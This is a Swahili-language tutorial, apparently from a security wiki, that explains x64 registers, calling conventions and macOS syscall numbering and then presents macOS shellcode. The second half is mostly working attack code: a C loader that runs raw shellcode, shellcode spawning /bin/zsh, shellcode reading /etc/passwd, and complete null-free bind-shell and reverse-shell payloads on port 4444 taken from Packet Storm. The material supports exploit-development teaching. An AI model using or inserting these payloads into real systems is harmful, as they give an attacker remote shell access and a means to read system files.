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Introduction to x64

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Introduction to x64

x64, pia inajulikana kama x86-64, ni usanifu wa processor wa 64-bit unaotumika hasa katika kompyuta za mezani na seva. Unatokana na usanifu wa x86 ulioandaliwa na Intel na baadaye kukubaliwa na AMD kwa jina AMD64, ni usanifu unaotumika sana katika kompyuta binafsi na seva leo.

Registers

x64 inapanua usanifu wa x86, ikiwa na registers 16 za kusudi la jumla zilizo na lebo rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, na r8 hadi r15. Kila moja ya hizi inaweza kuhifadhi thamani ya 64-bit (byte 8). Registers hizi pia zina sub-registers za 32-bit, 16-bit, na 8-bit kwa ajili ya ufanisi na kazi maalum.

  1. rax - Kawaida hutumika kwa thamani za kurudi kutoka kwa kazi.

  2. rbx - Mara nyingi hutumika kama register ya msingi kwa operesheni za kumbukumbu.

  3. rcx - Kawaida hutumika kwa hesabu za mzunguko.

  4. rdx - Hutumika katika majukumu mbalimbali ikiwa ni pamoja na operesheni za hesabu za ziada.

  5. rbp - Pointer ya msingi kwa fremu ya stack.

  6. rsp - Pointer ya stack, ikifuatilia kilele cha stack.

  7. rsi na rdi - Hutumika kwa vigezo vya chanzo na kikundi katika operesheni za nyuzi/kumbukumbu.

  8. r8 hadi r15 - Registers za ziada za kusudi la jumla zilizoanzishwa katika x64.

Calling Convention

Mkataba wa wito wa x64 unatofautiana kati ya mifumo ya uendeshaji. Kwa mfano:

  • Windows: Vigezo vinne vya kwanza vinapitishwa katika registers rcx, rdx, r8, na r9. Vigezo zaidi vinasukumwa kwenye stack. Thamani ya kurudi iko katika rax.

  • System V (inayotumika sana katika mifumo kama UNIX): Vigezo sita vya kwanza vya nambari au pointer vinapitishwa katika registers rdi, rsi, rdx, rcx, r8, na r9. Thamani ya kurudi pia iko katika rax.

Ikiwa kazi ina zaidi ya ingizo sita, zingine zitapitishwa kwenye stack. RSP, pointer ya stack, inapaswa kuwa imepangwa kwa byte 16, ambayo inamaanisha kwamba anwani inayoelekeza inapaswa kugawanywa kwa 16 kabla ya wito wowote kutokea. Hii inamaanisha kwamba kawaida tunahitaji kuhakikisha kuwa RSP imepangwa ipasavyo katika shellcode yetu kabla ya kufanya wito wa kazi. Hata hivyo, katika mazoezi, wito wa mfumo unafanya kazi mara nyingi hata kama hitaji hili halijakidhi.

Calling Convention in Swift

Swift ina mkataba wa wito wake ambao unaweza kupatikana katika https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64

Common Instructions

Maagizo ya x64 yana seti tajiri, yakihifadhi ufanisi na maagizo ya awali ya x86 na kuanzisha mapya.

  • mov: Hamisha thamani kutoka register moja au mahali pa kumbukumbu hadi nyingine.

  • Mfano: mov rax, rbx — Hamisha thamani kutoka rbx hadi rax.

  • push na pop: Sukuma au panda thamani kutoka/kwenda kwenye stack.

  • Mfano: push rax — Inasukuma thamani katika rax kwenye stack.

  • Mfano: pop rax — Inapanda thamani ya juu kutoka kwenye stack hadi rax.

  • add na sub: Operesheni za kuongeza na kupunguza.

  • Mfano: add rax, rcx — Inaongeza thamani katika rax na rcx ikihifadhi matokeo katika rax.

  • mul na div: Operesheni za kuongeza na ugawaji. Kumbuka: hizi zina tabia maalum kuhusu matumizi ya operandi.

  • call na ret: Inatumika kufanya wito na kurudi kutoka kwa kazi.

  • int: Inatumika kuanzisha interrupt ya programu. Mfano: int 0x80 ilitumika kwa wito wa mfumo katika 32-bit x86 Linux.

  • cmp: Linganisha thamani mbili na kuweka bendera za CPU kulingana na matokeo.

  • Mfano: cmp rax, rdx — Linganisha rax na rdx.

  • je, jne, jl, jge, ...: Maagizo ya kuruka kwa masharti yanayobadilisha mtiririko wa udhibiti kulingana na matokeo ya cmp au jaribio la awali.

  • Mfano: Baada ya maagizo ya cmp rax, rdx, je label — Inaruka hadi label ikiwa rax ni sawa na rdx.

  • syscall: Inatumika kwa wito wa mfumo katika mifumo mingine ya x64 (kama Unix za kisasa).

  • sysenter: Amri ya wito wa mfumo iliyoboreshwa kwenye baadhi ya majukwaa.

Function Prologue

  1. Sukuma pointer ya zamani ya msingi: push rbp (huhifadhi pointer ya msingi ya mwitishaji)

  2. Hamisha pointer ya sasa ya stack hadi pointer ya msingi: mov rbp, rsp (inasanifisha pointer mpya ya msingi kwa kazi ya sasa)

  3. Panga nafasi kwenye stack kwa ajili ya vigezo vya ndani: sub rsp, <size> (ambapo <size> ni idadi ya byte zinazohitajika)

Function Epilogue

  1. Hamisha pointer ya sasa ya msingi hadi pointer ya stack: mov rsp, rbp (ondoa vigezo vya ndani)

  2. Panda pointer ya zamani ya msingi kutoka kwenye stack: pop rbp (rejesha pointer ya msingi ya mwitishaji)

  3. Rudi: ret (rejesha udhibiti kwa mwitishaji)

macOS

syscalls

Kuna makundi tofauti ya syscalls, unaweza kuzipata hapa:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

Kisha, unaweza kupata kila nambari ya syscall katika url hii:

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

Ili kuita syscall open (5) kutoka Unix/BSD class unahitaji kuiongeza: 0x2000000

Hivyo, nambari ya syscall ya kuita open itakuwa 0x2000005

Shellcodes

Ili kukusanya:

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

Ili kutoa bytes:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
Code ya C ya kujaribu shellcode

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

Imechukuliwa kutoka [**hapa**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) na kufafanuliwa.

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='na adr'>

```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

Soma kwa cat

Lengo ni kutekeleza execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), hivyo hoja ya pili (x1) ni safu ya paramu (ambazo katika kumbukumbu zinamaanisha stack ya anwani).

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

Wito amri na sh

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Bind shell

Bind shell kutoka https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html katika bandari 4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

Reverse Shell

Reverse shell kutoka https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Reverse shell kwa 127.0.0.1:4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

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